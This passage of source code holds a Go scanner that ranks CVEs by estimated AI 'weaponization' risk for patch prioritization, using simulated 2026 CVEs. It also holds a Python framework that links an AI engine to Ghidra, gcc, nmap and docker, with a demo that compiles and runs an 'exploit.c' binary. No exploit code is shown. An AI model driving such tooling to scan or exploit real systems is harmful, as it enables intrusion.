			"linux_kernel":      0.75,
			"mozilla_firefox":   0.82,
			"google_chrome":     0.70,
		},
		vectorWeight: map[string]float64{
			"network":      0.90,
			"adjacent":     0.70,
			"local":        0.60,
			"physical":     0.30,
		},
		cache: make(map[string]*AIExploitRiskScore),
	}
}

// CalculateRisk 计算单个CVE的AI利用风险评分
func (s *AIVulnScanner) CalculateRisk(cve *CVERecord, aiModel string) *AIExploitRiskScore {
	s.mu.Lock()
	s.totalScanned++
	s.mu.Unlock()

	// 检查缓存
	cacheKey := fmt.Sprintf("%s_%s", cve.ID, aiModel)
	s.mu.RLock()
	if cached, ok := s.cache[cacheKey]; ok {
		s.mu.RUnlock()
		return cached
	}
	s.mu.RUnlock()

	// 1. 基础评分权重 (CVSS)
	cvssWeight := cve.BaseScore / 10.0

	// 2. AI模型能力权重
	modelWeight := s.modelWeights[aiModel]
	if modelWeight == 0 {
		modelWeight = 0.5 // 默认值
	}

	// 3. 产品/操作系统权重
	productKey := strings.ToLower(cve.AffectedVendor + "_" + cve.AffectedProduct)
	osWeight := s.osWeights[productKey]
	if osWeight == 0 {
		osWeight = 0.5
	}

	// 4. 攻击向量权重
	vectorWeight := s.vectorWeight[strings.ToLower(cve.AttackVector)]
	if vectorWeight == 0 {
		vectorWeight = 0.5
	}

	// 5. 时间衰减因子 (漏洞越新，风险越高)
	daysSincePublished := time.Since(cve.PublishedDate).Hours() / 24.0
	timeDecay := math.Exp(-daysSincePublished / 90.0) // 90天半衰期
	if timeDecay < 0.1 {
		timeDecay = 0.1
	}

	// 6. 可利用性指数修正
	exploitFactor := cve.Exploitability / 10.0

	// 综合评分：加权聚合
	riskScore := 0.30*cvssWeight +
		0.25*modelWeight +
		0.15*osWeight +
		0.10*vectorWeight +
		0.10*timeDecay +
		0.10*exploitFactor

	// 钳制到[0, 1]
	if riskScore > 1.0 {
		riskScore = 1.0
	}
	if riskScore < 0 {
		riskScore = 0
	}

	// 武器化概率估计
	weaponizationProb := riskScore * (0.7 + 0.3*modelWeight)

	// 预计武器化时间 (小时)
	estHours := 72.0 * (1.0 - weaponizationProb)
	if estHours < 0.5 {
		estHours = 0.5
	}

	// 预计成本
	estCost := 10000.0 * (1.0 - weaponizationProb)
	if estCost < 500 {
		estCost = 500
	}

	// 补丁紧急程度
	var urgency string
	switch {
	case riskScore >= 0.8:
		urgency = "CRITICAL"
	case riskScore >= 0.6:
		urgency = "HIGH"
	case riskScore >= 0.4:
		urgency = "MEDIUM"
	default:
		urgency = "LOW"
	}

	// 推荐行动
	var action string
	switch urgency {
	case "CRITICAL":
		action = "立即应用补丁（24小时内），启用临时缓解措施，评估业务影响"
	case "HIGH":
		action = "尽快应用补丁（72小时内），考虑虚拟补丁/WAF规则"
	case "MEDIUM":
		action = "安排在下一个维护窗口内修补，持续监控"
	default:
		action = "按常规补丁周期处理"
	}

	result := &AIExploitRiskScore{
		CVE:               cve.ID,
		RiskScore:         math.Round(riskScore*100) / 100,
		WeaponizationProb: math.Round(weaponizationProb*100) / 100,
		EstExploitHours:   math.Round(estHours*10) / 10,
		EstCostUSD:        math.Round(estCost),
		PatchUrgency:      urgency,
		RecommendedAction: action,
	}

	// 写入缓存
	s.mu.Lock()
	s.cache[cacheKey] = result
	s.mu.Unlock()

	return result
}

// BatchScan 批量扫描多个CVE
func (s *AIVulnScanner) BatchScan(cves []*CVERecord, aiModel string) []*AIExploitRiskScore {
	results := make([]*AIExploitRiskScore, len(cves))
	var wg sync.WaitGroup

	for i, cve := range cves {
		wg.Add(1)
		go func(idx int, c *CVERecord) {
			defer wg.Done()
			results[idx] = s.CalculateRisk(c, aiModel)
		}(i, cve)
	}
	wg.Wait()

	// 按风险评分降序排序
	sort.Slice(results, func(i, j int) bool {
		return results[i].RiskScore > results[j].RiskScore
	})

	return results
}

// GeneratePatchPriorityReport 生成补丁优先级报告
func (s *AIVulnScanner) GeneratePatchPriorityReport(results []*AIExploitRiskScore, outputPath string) error {
	report := struct {
		GeneratedAt  time.Time              `json:"generated_at"`
		TotalScanned int                    `json:"total_scanned"`
		Critical     int                    `json:"critical_count"`
		High         int                    `json:"high_count"`
		Medium       int                    `json:"medium_count"`
		Low          int                    `json:"low_count"`
		Results      []*AIExploitRiskScore  `json:"results"`
	}{
		GeneratedAt:  time.Now(),
		TotalScanned: len(results),
		Results:      results,
	}

	for _, r := range results {
		switch r.PatchUrgency {
		case "CRITICAL":
			report.Critical++
		case "HIGH":
			report.High++
		case "MEDIUM":
			report.Medium++
		case "LOW":
			report.Low++
		}
	}

	data, err := json.MarshalIndent(report, "", "  ")
	if err != nil {
		return fmt.Errorf("序列化报告失败: %w", err)
	}

	os.MkdirAll(filepath.Dir(outputPath), 0755)
	return ioutil.WriteFile(outputPath, data, 0644)
}

func main() {
	modelFlag := flag.String("model", "mythos", "AI模型 (mythos/gpt-5.5/opus-4.8/gemini)")
	inputFlag := flag.String("input", "", "CVE列表JSON文件路径")
	outputFlag := flag.String("output", "./patch_priority_report.json", "输出报告路径")
	flag.Parse()

	scanner := NewAIVulnScanner()

	// 如果提供了输入文件则从文件读取，否则使用演示数据
	var cves []*CVERecord

	if *inputFlag != "" {
		data, err := ioutil.ReadFile(*inputFlag)
		if err != nil {
			log.Fatalf("读取输入文件失败: %v", err)
		}
		if err := json.Unmarshal(data, &cves); err != nil {
			log.Fatalf("解析CVE数据失败: %v", err)
		}
	} else {
		// 演示数据：模拟2026年5月Patch Tuesday的部分CVE
		cves = []*CVERecord{
			{
				ID: "CVE-2026-27401", PublishedDate: time.Now().AddDate(0, 0, -3),
				BaseScore: 9.8, Severity: "CRITICAL", Exploitability: 8.6, ImpactScore: 5.9,
				AffectedVendor: "microsoft", AffectedProduct: "windows",
				AttackVector: "network", AttackComplexity: "low",
				Description: "Windows内核远程代码执行漏洞",
			},
			{
				ID: "CVE-2026-27402", PublishedDate: time.Now().AddDate(0, 0, -5),
				BaseScore: 8.8, Severity: "HIGH", Exploitability: 7.2, ImpactScore: 5.9,
				AffectedVendor: "mozilla", AffectedProduct: "firefox",
				AttackVector: "network", AttackComplexity: "low",
				Description: "Firefox SpiderMonkey JS引擎释放后使用漏洞",
			},
			{
				ID: "CVE-2026-27403", PublishedDate: time.Now().AddDate(0, 0, -10),
				BaseScore: 7.5, Severity: "HIGH", Exploitability: 6.5, ImpactScore: 3.6,
				AffectedVendor: "microsoft", AffectedProduct: "windows",
				AttackVector: "local", AttackComplexity: "low",
				Description: "Windows内核本地权限提升漏洞",
			},
			{
				ID: "CVE-2026-27404", PublishedDate: time.Now().AddDate(0, 0, -1),
				BaseScore: 9.0, Severity: "CRITICAL", Exploitability: 8.0, ImpactScore: 5.9,
				AffectedVendor: "google", AffectedProduct: "chrome",
				AttackVector: "network", AttackComplexity: "low",
				Description: "Chrome V8 JavaScript引擎类型混淆漏洞",
			},
			{
				ID: "CVE-2026-27405", PublishedDate: time.Now().AddDate(0, 0, -15),
				BaseScore: 5.5, Severity: "MEDIUM", Exploitability: 3.9, ImpactScore: 3.6,
				AffectedVendor: "linux", AffectedProduct: "kernel",
				AttackVector: "local", AttackComplexity: "high",
				Description: "Linux内核信息泄露漏洞",
			},
		}
	}

	fmt.Printf("使用AI模型 %s 扫描 %d 个CVE漏洞...\n", *modelFlag, len(cves))
	results := scanner.BatchScan(cves, *modelFlag)

	fmt.Println("\n=== AI驱动漏洞风险排名 ===")
	fmt.Println("========================================")
	for i, r := range results {
		fmt.Printf("#%d [%s] Score: %.2f | Weaponize: %.0f%% | Est: %.1fh | Cost: $%.0f | Urgency: %s\n",
			i+1, r.CVE, r.RiskScore, r.WeaponizationProb*100,
			r.EstExploitHours, r.EstCostUSD, r.PatchUrgency)
	}

	// 生成报告
	if err := scanner.GeneratePatchPriorityReport(results, *outputFlag); err != nil {
		log.Fatalf("生成报告失败: %v", err)
	}
	fmt.Printf("\n报告已保存至: %s\n", *outputFlag)
}

# mcp_tool_integration.py
# MCP (Model Context Protocol) 工具集成框架
# 将AI推理引擎连接到真实世界的安全工具

import asyncio
import subprocess
import tempfile
import os
import json
import shlex
from typing import Dict, List, Any, Optional
from dataclasses import dataclass
from enum import Enum


class ToolCategory(Enum):
    DECOMPILER = "decompiler"
    COMPILER = "compiler"
    DEBUGGER = "debugger"
    NETWORK_SCANNER = "network_scanner"
    FUZZER = "fuzzer"
    SANDBOX = "sandbox"


@dataclass
class ToolDefinition:
    name: str
    category: ToolCategory
    command: str
    args_template: List[str]
    timeout: int = 300
    requires_sandbox: bool = False


@dataclass
class ToolResult:
    tool_name: str
    success: bool
    stdout: str
    stderr: str
    return_code: int
    duration_ms: float
    artifacts: List[str]


class MCPToolRegistry:
    """MCP工具注册表 - 管理与安全工具的连接"""

    def __init__(self):
        self.tools: Dict[str, ToolDefinition] = {}
        self._register_default_tools()

    def _register_default_tools(self):
        self.register(ToolDefinition(
            name="ghidra_decompile",
            category=ToolCategory.DECOMPILER,
            command="ghidra",
            args_template=["-decompile", "{input}", "-output", "{output}"],
            timeout=600,
        ))
        self.register(ToolDefinition(
            name="gcc_compile",
            category=ToolCategory.COMPILER,
            command="gcc",
            args_template=["-o", "{output}", "{input}", "-Wall", "-Wextra"],
            timeout=60,
        ))
        self.register(ToolDefinition(
            name="nmap_scan",
            category=ToolCategory.NETWORK_SCANNER,
            command="nmap",
            args_template=["-sV", "-sC", "-p", "{ports}", "{target}"],
            timeout=600,
        ))
        self.register(ToolDefinition(
            name="docker_exec",
            category=ToolCategory.SANDBOX,
            command="docker",
            args_template=["run", "--rm", "-v", "{mount}:{mount}",
                           "--security-opt", "no-new-privileges",
                           "{image}", "{command}"],
            timeout=300,
        ))

    def register(self, tool: ToolDefinition):
        self.tools[tool.name] = tool

    def get(self, name: str) -> Optional[ToolDefinition]:
        return self.tools.get(name)

    async def execute(self, tool_name: str, **kwargs) -> ToolResult:
        tool = self.get(tool_name)
        if not tool:
            return ToolResult(tool_name, False, "", f"Tool not found: {tool_name}", -1, 0, [])

        # 构建命令
        args = [arg.format(**kwargs) for arg in tool.args_template]
        cmd = [tool.command] + args

        start = asyncio.get_event_loop().time()
        try:
            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE,
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(), timeout=tool.timeout
            )
            duration = (asyncio.get_event_loop().time() - start) * 1000
            return ToolResult(
                tool_name=tool_name,
                success=proc.returncode == 0,
                stdout=stdout.decode('utf-8', errors='replace'),
                stderr=stderr.decode('utf-8', errors='replace'),
                return_code=proc.returncode or 0,
                duration_ms=duration,
                artifacts=[],
            )
        except asyncio.TimeoutError:
            return ToolResult(tool_name, False, "",
                             f"Tool execution timed out after {tool.timeout}s",
                             -1, tool.timeout * 1000, [])
        except Exception as e:
            return ToolResult(tool_name, False, "", str(e), -1, 0, [])


# 使用示例
async def demo_mcp_integration():
    registry = MCPToolRegistry()

    # 1. 编译漏洞利用代码
    print("[MCP] 编译利用代码...")
    result = await registry.execute("gcc_compile", input="exploit.c", output="exploit.bin")
    print(f"  编译{'成功' if result.success else '失败'}: {result.duration_ms:.0f}ms")

    # 2. 在沙箱中执行验证
    print("[MCP] 沙箱验证...")
    result = await registry.execute("docker_exec",
        mount=os.getcwd(),
        image="ubuntu:22.04",
        command="./exploit.bin")
    print(f"  执行{'成功' if result.success else '失败'}: {result.duration_ms:.0f}ms")

    return result


if __name__ == "__main__":
    asyncio.run(demo_mcp_integration())